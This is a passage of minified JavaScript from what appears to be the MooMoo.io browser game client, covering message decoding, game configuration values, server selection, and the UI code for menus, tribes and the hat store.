						var n, r = {}
							, i = new Array(t)
							, o = new Array(t)
							, a = e.codec.decode;
						for(n = 0; n < t; n++) i[n] = a(e), o[n] = a(e);
						for(n = 0; n < t; n++) r[i[n]] = o[n];
						return r
					}

					function f(e, t) {
						var n, r = new Map
							, i = new Array(t)
							, o = new Array(t)
							, a = e.codec.decode;
						for(n = 0; n < t; n++) i[n] = a(e), o[n] = a(e);
						for(n = 0; n < t; n++) r.set(i[n], o[n]);
						return r
					}

					function d(e, t) {
						for(var n = new Array(t), r = e.codec.decode, i = 0; i < t; i++) n[i] = r(e);
						return n
					}

					function h(e, t) {
						var n = e.reserve(t)
							, r = n + t;
						return l.toString.call(e.buffer, "utf-8", n, r)
					}

					function p(e, t) {
						var n = e.reserve(t)
							, r = n + t
							, i = l.slice.call(e.buffer, n, r);
						return s.from(i)
					}

					function A(e, t) {
						var n = e.reserve(t)
							, r = n + t
							, i = l.slice.call(e.buffer, n, r);
						return s.Uint8Array.from(i)
							.buffer
					}

					function g(e, t) {
						var n = e.reserve(t + 1)
							, r = e.buffer[n++]
							, i = n + t
							, o = e.codec.getExtUnpacker(r);
						if(!o) throw new Error("Invalid ext type: " + (r ? "0x" + r.toString(16) : r));
						return o(l.slice.call(e.buffer, n, i))
					}

					function m(e) {
						var t = e.reserve(1);
						return e.buffer[t]
					}

					function y(e) {
						var t = e.reserve(1)
							, n = e.buffer[t];
						return 128 & n ? n - 256 : n
					}

					function w(e) {
						var t = e.reserve(2)
							, n = e.buffer;
						return n[t++] << 8 | n[t]
					}

					function v(e) {
						var t = e.reserve(2)
							, n = e.buffer
							, r = n[t++] << 8 | n[t];
						return 32768 & r ? r - 65536 : r
					}

					function b(e) {
						var t = e.reserve(4)
							, n = e.buffer;
						return 16777216 * n[t++] + (n[t++] << 16) + (n[t++] << 8) + n[t]
					}

					function x(e) {
						var t = e.reserve(4)
							, n = e.buffer;
						return n[t++] << 24 | n[t++] << 16 | n[t++] << 8 | n[t]
					}

					function B(e, t) {
						return function (n) {
							var r = n.reserve(e);
							return t.call(n.buffer, r, !0)
						}
					}

					function E(e) {
						return new o(this, e)
							.toNumber()
					}

					function k(e) {
						return new a(this, e)
							.toNumber()
					}

					function C(e) {
						return new o(this, e)
					}

					function I(e) {
						return new a(this, e)
					}

					function T(e) {
						return r.read(this, e, !1, 23, 4)
					}

					function M(e) {
						return r.read(this, e, !1, 52, 8)
					}
				}, function (e, t, n) {
					! function (t) {
						e.exports = t;
						var n = "listeners"
							, r = {
								on: function (e, t) {
									return a(this, e)
										.push(t), this
								}
								, once: function (e, t) {
									var n = this;
									return r.originalListener = t, a(n, e)
										.push(r), n;

									function r() {
										o.call(n, e, r), t.apply(this, arguments)
									}
								}
								, off: o
								, emit: function (e, t) {
									var n = this
										, r = a(n, e, !0);
									if(!r) return !1;
									var i = arguments.length;
									if(1 === i) r.forEach(function (e) {
										e.call(n)
									});
									else if(2 === i) r.forEach(function (e) {
										e.call(n, t)
									});
									else {
										var o = Array.prototype.slice.call(arguments, 1);
										r.forEach(function (e) {
											e.apply(n, o)
										})
									}
									return !!r.length
								}
							};

						function i(e) {
							for(var t in r) e[t] = r[t];
							return e
						}

						function o(e, t) {
							var r;
							if(arguments.length) {
								if(t) {
									if(r = a(this, e, !0)) {
										if(!(r = r.filter(function (e) {
												return e !== t && e.originalListener !== t
											}))
											.length) return o.call(this, e);
										this[n][e] = r
									}
								} else if((r = this[n]) && (delete r[e], !Object.keys(r)
										.length)) return o.call(this)
							} else delete this[n];
							return this
						}

						function a(e, t, r) {
							if(!r || e[n]) {
								var i = e[n] || (e[n] = {});
								return i[t] || (i[t] = [])
							}
						}
						i(t.prototype), t.mixin = i
					}(function e() {
						if(!(this instanceof e)) return new e
					})
				}, function (e, t, n) {
					(function (t) {
						e.exports.maxScreenWidth = 1920, e.exports.maxScreenHeight = 1080, e.exports.serverUpdateRate = 9, e.exports.maxPlayers = t && -1 != t.argv.indexOf("--largeserver") ? 80 : 50, e.exports.maxPlayersHard = e.exports.maxPlayers + 10, e.exports.collisionDepth = 6, e.exports.minimapRate = 3e3, e.exports.colGrid = 10, e.exports.clientSendRate = 5, e.exports.healthBarWidth = 50, e.exports.healthBarPad = 4.5, e.exports.iconPadding = 15, e.exports.iconPad = .9, e.exports.deathFadeout = 3e3, e.exports.crownIconScale = 60, e.exports.crownPad = 35, e.exports.chatCountdown = 3e3, e.exports.chatCooldown = 500, e.exports.inSandbox = t && "mm_exp" === t.env.VULTR_SCHEME, e.exports.maxAge = 100, e.exports.gatherAngle = Math.PI / 2.6, e.exports.gatherWiggle = 10, e.exports.hitReturnRatio = .25, e.exports.hitAngle = Math.PI / 2, e.exports.playerScale = 35, e.exports.playerSpeed = .0016, e.exports.playerDecel = .993, e.exports.nameY = 34, e.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b", "#fadadc", "#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3", "#8bc373"], e.exports.animalCount = 7, e.exports.aiTurnRandom = .06, e.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn", "Jononthecool", "Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis", "Pepe", "Mc Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper", "Ben", "Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion", "Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared", "July", "Sonia", "Mel", "Dexter", "Quinn", "Milky", "Marcus", "Joe", "Bob", "Mike", "Bobby", "Kilian"], e.exports.shieldAngle = Math.PI / 3, e.exports.weaponVariants = [{
							id: 0
							, src: ""
							, xp: 0
							, val: 1
						}, {
							id: 1
							, src: "_g"
							, xp: 3e3
							, val: 1.1
						}, {
							id: 2
							, src: "_d"
							, xp: 7e3
							, val: 1.18
						}, {
							id: 3
							, src: "_r"
							, poison: !0
							, xp: 12e3
							, val: 1.18
						}], e.exports.fetchVariant = function (t) {
							for(var n = t.weaponXP[t.weaponIndex] || 0, r = e.exports.weaponVariants.length - 1; r >= 0; --r)
								if(n >= e.exports.weaponVariants[r].xp) return e.exports.weaponVariants[r]
						}, e.exports.resourceTypes = ["wood", "food", "stone", "points"], e.exports.areaCount = 7, e.exports.treesPerArea = 9, e.exports.bushesPerArea = 3, e.exports.totalRocks = 32, e.exports.goldOres = 7, e.exports.riverWidth = 724, e.exports.riverPadding = 114, e.exports.waterCurrent = .0011, e.exports.waveSpeed = 1e-4, e.exports.waveMax = 1.3, e.exports.treeScales = [50 * Math.random() + 150, 50 * Math.random() + 150, 50 * Math.random() + 150, 50 * Math.random() + 150], e.exports.bushScales = [80, 85, 95], e.exports.rockScales = [80, 85, 90], e.exports.snowBiomeTop = 2400, e.exports.snowSpeed = .75, e.exports.maxNameLength = 15, e.exports.mapScale = 14400, e.exports.mapPingScale = 40, e.exports.mapPingTime = 2200
					})
					.call(this, n(41))
				}, function (e, t) {
					var n = {
						utf8: {
							stringToBytes: function (e) {
								return n.bin.stringToBytes(unescape(encodeURIComponent(e)))
							}
							, bytesToString: function (e) {
								return decodeURIComponent(escape(n.bin.bytesToString(e)))
							}
						}
						, bin: {
							stringToBytes: function (e) {
								for(var t = [], n = 0; n < e.length; n++) t.push(255 & e.charCodeAt(n));
								return t
							}
							, bytesToString: function (e) {
								for(var t = [], n = 0; n < e.length; n++) t.push(String.fromCharCode(e[n]));
								return t.join("")
							}
						}
					};
					e.exports = n
				}, function (e, t, n) {
					window.loadedScript = !0;
					var r = "127.0.0.1" !== location.hostname && !location.hostname.startsWith("192.168.");
					n(22);
					var i = n(23)
						, o = n(42)
						, a = n(43)
						, s = n(19)
						, l = n(44)
						, c = n(45)
						, u = (n(46), n(47))
						, f = n(48)
						, d = n(55)
						, h = n(56)
						, p = n(57)
						, A = n(58)
						.obj
						, g = new a.TextManager
						, m = new(n(59))("moomoo.io", 3e3, s.maxPlayers, 5, !1);
					m.debugLog = !1;
					var y = !1;

					function w() {
						ft && dt && (y = !0, r ? window.grecaptcha.execute("6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ", {
								action: "homepage"
							})
							.then(function (e) {
								v(e)
							}) : v(null))
					}

					function v(e) {
						m.start(function (t, n, a) {
							var l = (r ? "wss" : "ws") + "://" + t + ":8008/?gameIndex=" + a;
							e && (l += "&token=" + encodeURIComponent(e)), i.connect(l, function (e) {
								Or(), setInterval(() => Or(), 2500), e ? ht(e) : (fe.onclick = o.checkTrusted(function () {
									var e, t;
									e = ++xt > 1, t = Date.now() - bt > vt, e && t ? (bt = Date.now(), Bt()) : kn()
								}), o.hookTouchEvents(fe), de.onclick = o.checkTrusted(function () {
									Lr("https://krunker.io")
								}), o.hookTouchEvents(de), pe.onclick = o.checkTrusted(function () {
									setTimeout(function () {
										var e, t;
										e = xe.value, (t = prompt("party key", e)) && (window.onbeforeunload = void 0, window.location.href = "/?server=" + t)
									}, 10)
								}), o.hookTouchEvents(pe), Ae.onclick = o.checkTrusted(function () {
									Te.classList.contains("showing") ? (Te.classList.remove("showing"), ge.innerText = "Settings") : (Te.classList.add("showing"), ge.innerText = "Close")
								}), o.hookTouchEvents(Ae), me.onclick = o.checkTrusted(function () {
									yn(), "block" != ze.style.display ? Ht() : ze.style.display = "none"
								}), o.hookTouchEvents(me), ye.onclick = o.checkTrusted(function () {
									"block" != Je.style.display ? (Je.style.display = "block", ze.style.display = "none", sn(), Gt()) : Je.style.display = "none"
								}), o.hookTouchEvents(ye), we.onclick = o.checkTrusted(function () {
									on()
								}), o.hookTouchEvents(we), Qe.onclick = o.checkTrusted(function () {
									Bn()
								}), o.hookTouchEvents(Qe), function () {
									for(var e = 0; e < Sn.length; ++e) {
										var t = new Image;
										t.onload = function () {
											this.isLoaded = !0
										}, t.src = ".././img/icons/" + Sn[e] + ".png", _n[Sn[e]] = t
									}
								}(), Me.style.display = "none", Ie.style.display = "block", je.value = C("moo_name") || "", function () {
									var e = C("native_resolution");
									en(e ? "true" == e : "undefined" != typeof cordova), T = "true" == C("show_ping"), ke.hidden = !T, C("moo_moosic"), setInterval(function () {
										window.cordova && (document.getElementById("downloadButtonContainer")
											.classList.add("cordova"), document.getElementById("mobileDownloadButtonContainer")
											.classList.add("cordova"))
									}, 1e3), tn(), o.removeAllChildren(Oe);
									for(var t = 0; t < c.weapons.length + c.list.length; ++t) ! function (e) {
										o.generateElement({
											id: "actionBarItem" + e
											, class: "actionBarItem"
											, style: "display:none"
											, onmouseout: function () {
												kt()
											}
											, parent: Oe
										})
									}(t);
									for(t = 0; t < c.list.length + c.weapons.length; ++t) ! function (e) {
										var t = document.createElement("canvas");
										t.width = t.height = 66;
										var n = t.getContext("2d");
										if(n.translate(t.width / 2, t.height / 2), n.imageSmoothingEnabled = !1, n.webkitImageSmoothingEnabled = !1, n.mozImageSmoothingEnabled = !1, c.weapons[e]) {
											n.rotate(Math.PI / 4 + Math.PI);
											var r = new Image;
											er[c.weapons[e].src] = r, r.onload = function () {
													this.isLoaded = !0;
													var r = 1 / (this.height / this.width)
														, i = c.weapons[e].iPad || 1;
													n.drawImage(this, -t.width * i * s.iconPad * r / 2, -t.height * i * s.iconPad / 2, t.width * i * r * s.iconPad, t.height * i * s.iconPad), n.fillStyle = "rgba(0, 0, 70, 0.1)", n.globalCompositeOperation = "source-atop", n.fillRect(-t.width / 2, -t.height / 2, t.width, t.height), document.getElementById("actionBarItem" + e)
														.style.backgroundImage = "url(" + t.toDataURL() + ")"
												}, r.src = ".././img/weapons/" + c.weapons[e].src + ".png", (i = document.getElementById("actionBarItem" + e))
												.onmouseover = o.checkTrusted(function () {
													kt(c.weapons[e], !0)
												}), i.onclick = o.checkTrusted(function () {
													En(e, !0)
												}), o.hookTouchEvents(i)
										} else {
											r = or(c.list[e - c.weapons.length], !0);
											var i, a = Math.min(t.width - s.iconPadding, r.width);
											n.globalAlpha = 1, n.drawImage(r, -a / 2, -a / 2, a, a), n.fillStyle = "rgba(0, 0, 70, 0.1)", n.globalCompositeOperation = "source-atop", n.fillRect(-a / 2, -a / 2, a, a), document.getElementById("actionBarItem" + e)
												.style.backgroundImage = "url(" + t.toDataURL() + ")", (i = document.getElementById("actionBarItem" + e))
												.onmouseover = o.checkTrusted(function () {
													kt(c.list[e - c.weapons.length])
												}), i.onclick = o.checkTrusted(function () {
													En(e - c.weapons.length)
												}), o.hookTouchEvents(i)
										}
									}(t);
									je.ontouchstart = o.checkTrusted(function (e) {
										e.preventDefault();
										var t = prompt("enter name", e.currentTarget.value);
										e.currentTarget.value = t.slice(0, 15)
									}), Be.checked = I, Be.onchange = o.checkTrusted(function (e) {
										en(e.target.checked)
									}), Ee.checked = T, Ee.onchange = o.checkTrusted(function (e) {
										T = Ee.checked, ke.hidden = !T, k("show_ping", T ? "true" : "false")
									})
								}())
							}, {
								id: at
								, d: ht
								, 1: In
								, 2: vr
								, 4: br
								, 33: kr
								, 5: jn
								, 6: ur
								, a: gr
								, aa: Ar
								, 7: Nn
								, 8: fr
								, sp: dr
								, 9: Br
								, h: Er
								, 11: Pn
								, 12: Dn
								, 13: On
								, 14: xr
								, 15: Vn
								, 16: Hn
								, 17: $t
								, 18: hr
								, 19: pr
								, 20: Dr
								, ac: Lt
								, ad: qt
								, an: Ot
								, st: _t
								, sa: St
								, us: Qt
								, ch: fn
								, mm: Nt
								, t: Tn
								, p: zt
								, pp: Pr
							}), At(), setTimeout(() => gt(), 3e3)
						}, function (e) {
							console.error("Vultr error:", e), alert("Error:\n" + e), ht("disconnected")
						})
					}
					var b, x = new A(s, o)
						, B = Math.PI
						, E = 2 * B;

					function k(e, t) {
						b && localStorage.setItem(e, t)
					}

					function C(e) {
						return b ? localStorage.getItem(e) : null
					}
					Math.lerpAngle = function (e, t, n) {
						Math.abs(t - e) > B && (e > t ? t += E : e += E);
						var r = t + (e - t) * n;
						return r >= 0 && r <= E ? r : r % E
					}, CanvasRenderingContext2D.prototype.roundRect = function (e, t, n, r, i) {
						return n < 2 * i && (i = n / 2), r < 2 * i && (i = r / 2), i < 0 && (i = 0), this.beginPath(), this.moveTo(e + i, t), this.arcTo(e + n, t, e + n, t + r, i), this.arcTo(e + n, t + r, e, t + r, i), this.arcTo(e, t + r, e, t, i), this.arcTo(e, t, e + n, t, i), this.closePath(), this
					}, "undefined" != typeof Storage && (b = !0), C("consent") || (consentBlock.style.display = "block"), window.checkTerms = function (e) {
						e ? (consentBlock.style.display = "none", k("consent", 1)) : $("#consentShake")
							.effect("shake")
					};
					var I, T, M, P, O, D, L, _, S, q, H, V, j, X, U = C("moofoll")
						, R = 1
						, Y = Date.now()
						, W = []
						, z = []
						, N = []
						, F = []
						, Q = []
						, G = new p(h, Q, z, W, rt, c, s, o)
						, K = n(70)
						, Z = n(71)
						, J = new K(W, Z, z, c, null, s, o)
						, ee = 1
						, te = 0
						, ne = 0
						, re = 0
						, ie = {
							id: -1
							, startX: 0
							, startY: 0
							, currentX: 0
							, currentY: 0
						}
						, oe = {
							id: -1
							, startX: 0
							, startY: 0
							, currentX: 0
							, currentY: 0
						}
						, ae = 0
						, se = s.maxScreenWidth
						, le = s.maxScreenHeight
						, ce = !1
						, ue = (document.getElementById("ad-container"), document.getElementById("mainMenu"))
						, fe = document.getElementById("enterGame")
						, de = document.getElementById("promoImg")
						, he = document.getElementById("partyButton")
						, pe = document.getElementById("joinPartyButton")
						, Ae = document.getElementById("settingsButton")
						, ge = Ae.getElementsByTagName("span")[0]
						, me = document.getElementById("allianceButton")
						, ye = document.getElementById("storeButton")
						, we = document.getElementById("chatButton")
						, ve = document.getElementById("gameCanvas")
						, be = ve.getContext("2d")
						, xe = document.getElementById("serverBrowser")
						, Be = document.getElementById("nativeResolution")
						, Ee = document.getElementById("showPing")
						, ke = (document.getElementById("playMusic"), document.getElementById("pingDisplay"))
						, Ce = document.getElementById("shutdownDisplay")
						, Ie = document.getElementById("menuCardHolder")
						, Te = document.getElementById("guideCard")
						, Me = document.getElementById("loadingText")
						, Pe = document.getElementById("gameUI")
						, Oe = document.getElementById("actionBar")
						, De = document.getElementById("scoreDisplay")
						, Le = document.getElementById("foodDisplay")
						, _e = document.getElementById("woodDisplay")
						, Se = document.getElementById("stoneDisplay")
						, qe = document.getElementById("killCounter")
						, He = document.getElementById("leaderboardData")
						, je = document.getElementById("nameInput")
						, Xe = document.getElementById("itemInfoHolder")
						, Ue = document.getElementById("ageText")
						, Re = document.getElementById("ageBarBody")
						, Ye = document.getElementById("upgradeHolder")
						, We = document.getElementById("upgradeCounter")
						, ze = document.getElementById("allianceMenu")
						, Ne = document.getElementById("allianceHolder")
						, Fe = document.getElementById("allianceManager")
						, Qe = document.getElementById("mapDisplay")
						, Ge = document.getElementById("diedText")
						, Ke = document.getElementById("skinColorHolder")
						, Ze = Qe.getContext("2d");
					Qe.width = 300, Qe.height = 300;
					var Je = document.getElementById("storeMenu")
						, $e = document.getElementById("storeHolder")
						, et = document.getElementById("noticationDisplay")
						, tt = d.hats
						, nt = d.accessories
						, rt = new u(l, F, o, s)
						, it = "#525252"
						, ot = "#3d3f42";

					function at(e) {
						N = e.teams
					}
					var st = document.getElementById("featuredYoutube")
						, lt = [{
							name: "Corrupt X"
							, link: "https://www.youtube.com/channel/UC0UH2LfQvBSeH24bmtbmITw"
						}, {
							name: "Tweak Big"
							, link: "https://www.youtube.com/channel/UCbwvzJ38AndDTkoX8sD9YOw"
						}, {
							name: "Arena Closer"
							, link: "https://www.youtube.com/channel/UCazucVSJqW-kiHMIhQhD-QQ"
						}, {
							name: "Godenot"
							, link: "https://www.youtube.com/user/SirGodenot"
						}, {
							name: "RajNoobTV"
							, link: "https://www.youtube.com/channel/UCVLo9brXBWrCttMaGzvm0-Q"
						}, {
							name: "TomNotTom"
							, link: "https://www.youtube.com/channel/UC7z97RgHFJRcv2niXgArBDw"
						}, {
							name: "Nation"
							, link: "https://www.youtube.com/channel/UCSl-MBn3qzjrIvLNESQRk-g"
						}, {
							name: "Pidyohago"
							, link: "https://www.youtube.com/channel/UC04p8Mg8nDaDx04A9is2B8Q"
						}, {
							name: "Enigma"
							, link: "https://www.youtube.com/channel/UC5HhLbs3sReHo8Bb9NDdFrg"
						}, {
							name: "Bauer"
							, link: "https://www.youtube.com/channel/UCwU2TbJx3xTSlPqg-Ix3R1g"
						}, {
							name: "iStealth"
							, link: "https://www.youtube.com/channel/UCGrvlEOsQFViZbyFDE6t69A"
						}, {
							name: "SICKmania"
							, link: "https://www.youtube.com/channel/UCvVI98ezn4TpX5wDMZjMa3g"
						}, {
							name: "LightThief"
							, link: "https://www.youtube.com/channel/UCj6C_tiDeATiKd3GX127XoQ"
						}, {
							name: "Fortish"
							, link: "https://www.youtube.com/channel/UCou6CLU-szZA3Tb340TB9_Q"
						}, {
							name: "巧克力"
							, link: "https://www.youtube.com/channel/UCgL6J6oL8F69vm-GcPScmwg"
						}, {
							name: "i Febag"
							, link: "https://www.youtube.com/channel/UCiU6WZwiKbsnt5xmwr0OFbg"
						}, {
							name: "GoneGaming"
							, link: "https://www.youtube.com/channel/UCOcQthRanYcwYY0XVyVeK0g"
						}]
						, ct = lt[o.randInt(0, lt.length - 1)];
					st.innerHTML = "<a target='_blank' class='ytLink' href='" + ct.link + "'><i class='material-icons' style='vertical-align: top;'>&#xE064;</i> " + ct.name + "</a>";
					var ut = !0
						, ft = !1
						, dt = !1;

					function ht(e) {
						i.close(), pt(e)
					}

					function pt(e) {
						ue.style.display = "block", Pe.style.display = "none", Ie.style.display = "none", Ge.style.display = "none", Me.style.display = "block", Me.innerHTML = e + "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>"
					}

					function At() {
						var e, t, n = ""
							, r = 0;
						for(var i in m.servers) {
							for(var o = m.servers[i], a = 0, l = 0; l < o.length; l++)
								for(var c = 0; c < o[l].games.length; c++) a += o[l].games[c].playerCount;
							r += a;
							var u = m.regionInfo[i].name;
							n += "<option disabled>" + u + " - " + a + " players</option>";
							for(var f = 0; f < o.length; f++)
								for(var d = o[f], h = 0; h < d.games.length; h++) {
									var p = d.games[h]
										, A = 1 * d.index + h + 1
										, g = m.server && m.server.region === d.region && m.server.index === d.index && m.gameIndex == h
										, y = u + " " + A + " [" + Math.min(p.playerCount, s.maxPlayers) + "/" + s.maxPlayers + "]";
									let e = m.stripRegion(i) + ":" + f + ":" + h;
									g && (he.getElementsByTagName("span")[0].innerText = e), n += "<option value='" + e + "' " + (g ? "selected" : "") + ">" + y + "</option>"
								}
							n += "<option disabled></option>"
						}
						n += "<option disabled>All Servers - " + r + " players</option>", xe.innerHTML = n, "sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo", t = "//moomoo.io/") : (e = "Try the sandbox", t = "//sandbox.moomoo.io/"), document.getElementById("altServer")
							.innerHTML = "<a href='" + t + "'>" + e + "<i class='material-icons' style='font-size:10px;vertical-align:middle'>arrow_forward_ios</i></a>"
					}

					function gt() {
						var e = new XMLHttpRequest;
						e.onreadystatechange = function () {
							4 == this.readyState && (200 == this.status ? (window.vultr = JSON.parse(this.responseText), m.processServers(vultr.servers), At()) : console.error("Failed to load server data with status code:", this.status))
						}, e.open("GET", "/serverData", !0), e.send()
					}
					window.onblur = function () {
						ut = !1
					}, window.onfocus = function () {
						ut = !0, L && L.alive && yn()
					}, window.onload = function () {
						ft = !0, w(), setTimeout(function () {
							y || (alert("Captcha failed to load"), window.location.reload())
						}, 2e4)
					}, window.captchaCallback = function () {
						dt = !0, w()
					}, ve.oncontextmenu = function () {
						return !1
					}, xe.addEventListener("change", o.checkTrusted(function () {
						let e = xe.value.split(":");
						m.switchServer(e[0], e[1], e[2])
					}));
					var mt = document.getElementById("pre-content-container")
						, yt = null
						, wt = null
						, vt = 3e5
						, bt = 0
						, xt = 0;

					function Bt() {
						if(!wt) return console.log("Failed to load video ad API", !!wt), void kn();
						(yt = new wt.game.RewardedVideoView("rewardedvideo"))
						.addEventListener("ad_closed", function (e) {
							console.log("Video ad closed"), Et()
						}), yt.addEventListener("loaded", function (e) {
							console.log("Video ad loaded"), yt.show()
						}), yt.addEventListener("load_failed", function (e) {
							console.log("Video ad load failed", e), Et()
						}), yt.load(), mt.style.display = "block"
					}

					function Et() {
						mt.style.display = "none", kn()
					}

					function kt(e, t, n) {
						if(L && e)
							if(o.removeAllChildren(Xe), Xe.classList.add("visible"), o.generateElement({
									id: "itemInfoName"
									, text: o.capitalizeFirst(e.name)
									, parent: Xe
								}), o.generateElement({
									id: "itemInfoDesc"
									, text: e.desc
									, parent: Xe
								}), n);
							else if(t) o.generateElement({
							class: "itemInfoReq"
							, text: e.type ? "secondary" : "primary"
							, parent: Xe
						});
						else {
							for(var r = 0; r < e.req.length; r += 2) o.generateElement({
								class: "itemInfoReq"
								, html: e.req[r] + "<span class='itemInfoReqVal'> x" + e.req[r + 1] + "</span>"
								, parent: Xe
							});
							e.group.limit && o.generateElement({
								class: "itemInfoLmt"
								, text: (L.itemCounts[e.group.id] || 0) + "/" + e.group.limit
								, parent: Xe
							})
						} else Xe.classList.remove("visible")
					}
					window.showPreAd = Bt;
					var Ct, It, Tt, Mt = []
						, Pt = [];

					function Ot(e, t) {
						Mt.push({
							sid: e
							, name: t
						}), Dt()
					}

					function Dt() {
						if(Mt[0]) {
							var e = Mt[0];
							o.removeAllChildren(et), et.style.display = "block", o.generateElement({
								class: "notificationText"
								, text: e.name
								, parent: et
							}), o.generateElement({
								class: "notifButton"
								, html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'>&#xE14C;</i>"
								, parent: et
								, onclick: function () {
									Vt(0)
								}
								, hookTouch: !0
							}), o.generateElement({
								class: "notifButton"
								, html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'>&#xE876;</i>"
								, parent: et
								, onclick: function () {
									Vt(1)
								}
								, hookTouch: !0
							})
						} else et.style.display = "none"
					}

					function Lt(e) {
						N.push(e), "block" == ze.style.display && Ht()
					}

					function _t(e, t) {
						L && (L.team = e, L.isOwner = t, "block" == ze.style.display && Ht())
					}

					function St(e) {
						Pt = e, "block" == ze.style.display && Ht()
					}

					function qt(e) {
						for(var t = N.length - 1; t >= 0; t--) N[t].sid == e && N.splice(t, 1);
						"block" == ze.style.display && Ht()
					}

					function Ht() {
						if(L && L.alive) {
							if(sn(), Je.style.display = "none", ze.style.display = "block", o.removeAllChildren(Ne), L.team)
								for(var e = 0; e < Pt.length; e += 2) ! function (e) {
									var t = o.generateElement({
										class: "allianceItem"
										, style: "color:" + (Pt[e] == L.sid ? "#fff" : "rgba(255,255,255,0.6)")
										, text: Pt[e + 1]
										, parent: Ne
									});
									L.isOwner && Pt[e] != L.sid && o.generateElement({
										class: "joinAlBtn"
										, text: "Kick"
										, onclick: function () {
											jt(Pt[e])
										}
										, hookTouch: !0
										, parent: t
									})
								}(e);
							else if(N.length)
								for(e = 0; e < N.length; ++e) ! function (e) {
									var t = o.generateElement({
										class: "allianceItem"
										, style: "color:" + (N[e].sid == L.team ? "#fff" : "rgba(255,255,255,0.6)")
										, text: N[e].sid
										, parent: Ne
									});
									o.generateElement({
										class: "joinAlBtn"
										, text: "Join"
										, onclick: function () {
											Xt(e)
										}
										, hookTouch: !0
										, parent: t
									})
								}(e);
							else o.generateElement({
								class: "allianceItem"
								, text: "No Tribes Yet"
								, parent: Ne
							});
							o.removeAllChildren(Fe), L.team ? o.generateElement({
								class: "allianceButtonM"
								, style: "width: 360px"
								, text: L.isOwner ? "Delete Tribe" : "Leave Tribe"
								, onclick: function () {
									Rt()
								}
								, hookTouch: !0
								, parent: Fe
							}) : (o.generateElement({
								tag: "input"
								, type: "text"
								, id: "allianceInput"
								, maxLength: 7
								, placeholder: "unique name"
								, ontouchstart: function (e) {
									e.preventDefault();
									var t = prompt("unique name", e.currentTarget.value);
									e.currentTarget.value = t.slice(0, 7)
								}
								, parent: Fe
							}), o.generateElement({
								tag: "div"
								, class: "allianceButtonM"
								, style: "width: 140px;"
								, text: "Create"
								, onclick: function () {
									Ut()
								}
								, hookTouch: !0
								, parent: Fe
							}))
						}
					}

					function Vt(e) {
						i.send("11", Mt[0].sid, e), Mt.splice(0, 1), Dt()
					}

					function jt(e) {
						i.send("12", e)
					}

					function Xt(e) {
						i.send("10", N[e].sid)
					}

					function Ut() {
						i.send("8", document.getElementById("allianceInput")
							.value)
					}

					function Rt() {
						Mt = [], Dt(), i.send("9")
					}
					var Yt, Wt = [];

					function zt(e, t) {
						for(var n = 0; n < Wt.length; ++n)
							if(!Wt[n].active) {
								Yt = Wt[n];
								break
							} Yt || (Yt = new function () {
							this.init = function (e, t) {
								this.scale = 0, this.x = e, this.y = t, this.active = !0
							}, this.update = function (e, t) {
								this.active && (this.scale += .05 * t, this.scale >= s.mapPingScale ? this.active = !1 : (e.globalAlpha = 1 - Math.max(0, this.scale / s.mapPingScale), e.beginPath(), e.arc(this.x / s.mapScale * Qe.width, this.y / s.mapScale * Qe.width, this.scale, 0, 2 * Math.PI), e.stroke()))
							}
						}, Wt.push(Yt)), Yt.init(e, t)
					}

					function Nt(e) {
						It = e
					}
					var Ft = 0;

					function Qt(e, t, n) {
						n ? e ? L.tailIndex = t : L.tails[t] = 1 : e ? L.skinIndex = t : L.skins[t] = 1, "block" == Je.style.display && Gt()
					}

					function Gt() {
						if(L) {
							o.removeAllChildren($e);
							for(var e = Ft, t = e ? nt : tt, n = 0; n < t.length; ++n) t[n].dontSell || function (n) {
								var r = o.generateElement({
									id: "storeDisplay" + n
									, class: "storeItem"
									, onmouseout: function () {
										kt()
									}
									, onmouseover: function () {
										kt(t[n], !1, !0)
									}
									, parent: $e
								});
								o.hookTouchEvents(r, !0), o.generateElement({
									tag: "img"
									, class: "hatPreview"
									, src: "../img/" + (e ? "accessories/access_" : "hats/hat_") + t[n].id + (t[n].topSprite ? "_p" : "") + ".png"
									, parent: r
								}), o.generateElement({
									tag: "span"
									, text: t[n].name
									, parent: r
								}), (e ? L.tails[t[n].id] : L.skins[t[n].id]) ? (e ? L.tailIndex : L.skinIndex) == t[n].id ? o.generateElement({
									class: "joinAlBtn"
									, style: "margin-top: 5px"
									, text: "Unequip"
									, onclick: function () {
										Kt(0, e)
									}
									, hookTouch: !0
									, parent: r
								}) : o.generateElement({
									class: "joinAlBtn"
									, style: "margin-top: 5px"
									, text: "Equip"
									, onclick: function () {
										Kt(t[n].id, e)
									}
									, hookTouch: !0
									, parent: r
								}) : (o.generateElement({
									class: "joinAlBtn"
									, style: "margin-top: 5px"
									, text: "Buy"
									, onclick: function () {
										Zt(t[n].id, e)
									}
									, hookTouch: !0
									, parent: r
								}), o.generateElement({
									tag: "span"
									, class: "itemPrice"
									, text: t[n].price
									, parent: r
								}))
							}(n)
						}
					}

					function Kt(e, t) {
						i.send("13c", 0, e, t)
					}

					function Zt(e, t) {
						i.send("13c", 1, e, t)
					}

					function Jt() {
						Je.style.display = "none", ze.style.display = "none", sn()
					}

					function $t(e, t) {
						e && (t ? L.weapons = e : L.items = e);
						for(var n = 0; n < c.list.length; ++n) {
							var r = c.weapons.length + n;
							document.getElementById("actionBarItem" + r)
								.style.display = L.items.indexOf(c.list[n].id) >= 0 ? "inline-block" : "none"
						}
						for(n = 0; n < c.weapons.length; ++n) document.getElementById("actionBarItem" + n)
							.style.display = L.weapons[c.weapons[n].type] == c.weapons[n].id ? "inline-block" : "none"
					}

					function en(e) {
						I = e, R = e && window.devicePixelRatio || 1, Be.checked = e, k("native_resolution", e.toString()), dn()
					}

					function tn() {
